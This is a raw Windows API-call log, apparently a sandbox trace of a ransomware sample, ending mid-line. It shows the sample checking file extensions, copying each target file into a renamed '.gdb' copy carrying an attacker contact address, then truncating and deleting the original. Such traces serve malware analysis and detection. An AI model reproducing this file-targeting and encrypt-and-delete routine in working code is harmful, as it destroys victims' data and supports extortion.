lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString=".docx") returned 5 [0115.318] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0115.318] lstrlenW (lpString=".pdf") returned 4 [0115.318] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString=".xls") returned 4 [0115.318] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString=".xlsx") returned 5 [0115.318] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0115.318] lstrlenW (lpString=".ppt") returned 4 [0115.318] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0115.318] lstrlenW (lpString=".zip") returned 4 [0115.318] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.318] lstrlenW (lpString=".rar") returned 4 [0115.318] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString=".bz2") returned 4 [0115.318] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.318] lstrlenW (lpString=".7z") returned 3 [0115.318] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0115.319] lstrlenW (lpString=".dbf") returned 4 [0115.319] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0115.319] lstrlenW (lpString=".1cd") returned 4 [0115.319] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0115.319] lstrlenW (lpString=".jpg") returned 4 [0115.319] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0115.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0115.319] lstrlenW (lpString=".doc") returned 4 [0115.319] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString=".docx") returned 5 [0115.319] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0115.319] lstrlenW (lpString=".pdf") returned 4 [0115.319] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString=".xls") returned 4 [0115.319] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString=".xlsx") returned 5 [0115.319] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0115.319] lstrlenW (lpString=".ppt") returned 4 [0115.319] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0115.319] lstrlenW (lpString=".zip") returned 4 [0115.319] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.319] lstrlenW (lpString=".rar") returned 4 [0115.319] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString=".bz2") returned 4 [0115.319] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString=".7z") returned 3 [0115.319] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0115.319] lstrlenW (lpString=".dbf") returned 4 [0115.319] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0115.319] lstrlenW (lpString=".1cd") returned 4 [0115.319] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.319] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0115.320] lstrlenW (lpString=".jpg") returned 4 [0115.320] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.320] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.320] lstrlenW (lpString="Proofing.xml") returned 12 [0115.320] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0115.320] GetFileSizeEx (in: hFile=0x164, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=811) returned 1 [0115.320] CloseHandle (hObject=0x164) returned 1 [0115.320] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0115.320] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.320] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0115.320] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.320] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.321] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0115.321] GetLastError () returned 0x0 [0115.321] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x32b, lpOverlapped=0x0) returned 1 [0115.322] WriteFile (in: hFile=0x18c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x330, lpOverlapped=0x0) returned 1 [0115.323] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0115.323] WriteFile (in: hFile=0x18c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xec, lpOverlapped=0x0) returned 1 [0115.323] SetEndOfFile (hFile=0x18c) returned 1 [0115.323] CloseHandle (hObject=0x18c) returned 1 [0115.324] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.324] SetEndOfFile (hFile=0x164) returned 1 [0115.324] CloseHandle (hObject=0x164) returned 1 [0115.324] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.325] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0115.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0115.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0115.325] lstrlenW (lpString=".doc") returned 4 [0115.325] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.325] lstrlenW (lpString=".docx") returned 5 [0115.325] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0115.325] lstrlenW (lpString=".pdf") returned 4 [0115.325] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.325] lstrlenW (lpString=".xls") returned 4 [0115.325] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.325] lstrlenW (lpString=".xlsx") returned 5 [0115.325] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0115.325] lstrlenW (lpString=".ppt") returned 4 [0115.325] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0115.325] lstrlenW (lpString=".zip") returned 4 [0115.325] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.325] lstrlenW (lpString=".rar") returned 4 [0115.325] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.325] lstrlenW (lpString=".bz2") returned 4 [0115.325] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.325] lstrlenW (lpString=".7z") returned 3 [0115.325] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0115.325] lstrlenW (lpString=".dbf") returned 4 [0115.325] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.325] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0115.325] lstrlenW (lpString=".1cd") returned 4 [0115.326] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0115.326] lstrlenW (lpString=".jpg") returned 4 [0115.326] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0115.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0115.326] lstrlenW (lpString=".doc") returned 4 [0115.326] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.326] lstrlenW (lpString=".docx") returned 5 [0115.326] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0115.326] lstrlenW (lpString=".pdf") returned 4 [0115.326] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.326] lstrlenW (lpString=".xls") returned 4 [0115.326] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.326] lstrlenW (lpString=".xlsx") returned 5 [0115.326] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1 [0115.326] lstrlenW (lpString=".ppt") returned 4 [0115.326] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0115.326] lstrlenW (lpString=".zip") returned 4 [0115.326] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.326] lstrlenW (lpString=".rar") returned 4 [0115.326] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.326] lstrlenW (lpString=".bz2") returned 4 [0115.326] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.326] lstrlenW (lpString=".7z") returned 3 [0115.326] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0115.326] lstrlenW (lpString=".dbf") returned 4 [0115.326] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0115.326] lstrlenW (lpString=".1cd") returned 4 [0115.326] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.326] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0115.326] lstrlenW (lpString=".jpg") returned 4 [0115.326] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.326] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.327] lstrlenW (lpString="Setup.xml") returned 9 [0115.327] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0115.327] GetFileSizeEx (in: hFile=0x164, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=5884) returned 1 [0115.327] CloseHandle (hObject=0x164) returned 1 [0115.327] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0115.327] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.327] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0115.327] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.327] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.327] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0115.328] GetLastError () returned 0x0 [0115.328] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x16fc, lpOverlapped=0x0) returned 1 [0115.331] WriteFile (in: hFile=0x18c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x1700, lpOverlapped=0x0) returned 1 [0115.332] ReadFile (in: hFile=0x164, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0115.332] WriteFile (in: hFile=0x18c, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0115.332] SetEndOfFile (hFile=0x18c) returned 1 [0115.332] CloseHandle (hObject=0x18c) returned 1 [0115.333] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.333] SetEndOfFile (hFile=0x164) returned 1 [0115.334] CloseHandle (hObject=0x164) returned 1 [0115.334] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.334] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0115.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.334] lstrlenW (lpString=".doc") returned 4 [0115.334] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.334] lstrlenW (lpString=".docx") returned 5 [0115.334] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.334] lstrlenW (lpString=".pdf") returned 4 [0115.334] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.334] lstrlenW (lpString=".xls") returned 4 [0115.334] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.334] lstrlenW (lpString=".xlsx") returned 5 [0115.334] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0115.334] lstrlenW (lpString=".ppt") returned 4 [0115.334] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.334] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.334] lstrlenW (lpString=".zip") returned 4 [0115.334] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.334] lstrlenW (lpString=".rar") returned 4 [0115.334] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.335] lstrlenW (lpString=".bz2") returned 4 [0115.335] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.335] lstrlenW (lpString=".7z") returned 3 [0115.335] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.335] lstrlenW (lpString=".dbf") returned 4 [0115.335] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.335] lstrlenW (lpString=".1cd") returned 4 [0115.335] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.335] lstrlenW (lpString=".jpg") returned 4 [0115.335] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.335] lstrlenW (lpString=".doc") returned 4 [0115.335] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0115.335] lstrlenW (lpString=".docx") returned 5 [0115.335] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0115.335] lstrlenW (lpString=".pdf") returned 4 [0115.335] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0115.335] lstrlenW (lpString=".xls") returned 4 [0115.335] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0115.335] lstrlenW (lpString=".xlsx") returned 5 [0115.335] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0115.335] lstrlenW (lpString=".ppt") returned 4 [0115.335] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0115.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.335] lstrlenW (lpString=".zip") returned 4 [0115.335] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0115.335] lstrlenW (lpString=".rar") returned 4 [0115.335] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0115.335] lstrlenW (lpString=".bz2") returned 4 [0115.335] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0115.335] lstrlenW (lpString=".7z") returned 3 [0115.335] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0115.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.335] lstrlenW (lpString=".dbf") returned 4 [0115.335] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0115.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.335] lstrlenW (lpString=".1cd") returned 4 [0115.335] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0115.335] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0115.336] lstrlenW (lpString=".jpg") returned 4 [0115.336] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0115.336] lstrcmpiW (lpString1=".xml", lpString2=".gdb") returned 1 [0115.336] lstrlenW (lpString="Setup.xml") returned 9 [0115.336] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0115.508] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0xa7fcec | out: lpFileSize=0xa7fcec*=2362) returned 1 [0115.508] CloseHandle (hObject=0x1a4) returned 1 [0115.508] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0115.509] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0115.509] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.509] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0115.509] GetLastError () returned 0x0 [0115.509] ReadFile (in: hFile=0x1a4, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x93a, lpOverlapped=0x0) returned 1 [0115.510] WriteFile (in: hFile=0x1a8, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0x940, lpOverlapped=0x0) returned 1 [0115.511] ReadFile (in: hFile=0x1a4, lpBuffer=0x28f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0xa7fca4, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesRead=0xa7fca4*=0x0, lpOverlapped=0x0) returned 1 [0115.511] WriteFile (in: hFile=0x1a8, lpBuffer=0x28f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0xa7fa6c, lpOverlapped=0x0 | out: lpBuffer=0x28f0020*, lpNumberOfBytesWritten=0xa7fa6c*=0xe6, lpOverlapped=0x0) returned 1 [0115.511] SetEndOfFile (hFile=0x1a8) returned 1 [0115.511] CloseHandle (hObject=0x1a8) returned 1 [0115.512] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa7fc98 | out: lpNewFilePointer=0x0) returned 1 [0115.512] SetEndOfFile (hFile=0x1a4) returned 1 [0115.513] CloseHandle (hObject=0x1a4) returned 1 [0115.513] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0115.513] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0115.513] lstrlenW (lpString="C:\\MSOCache\\All 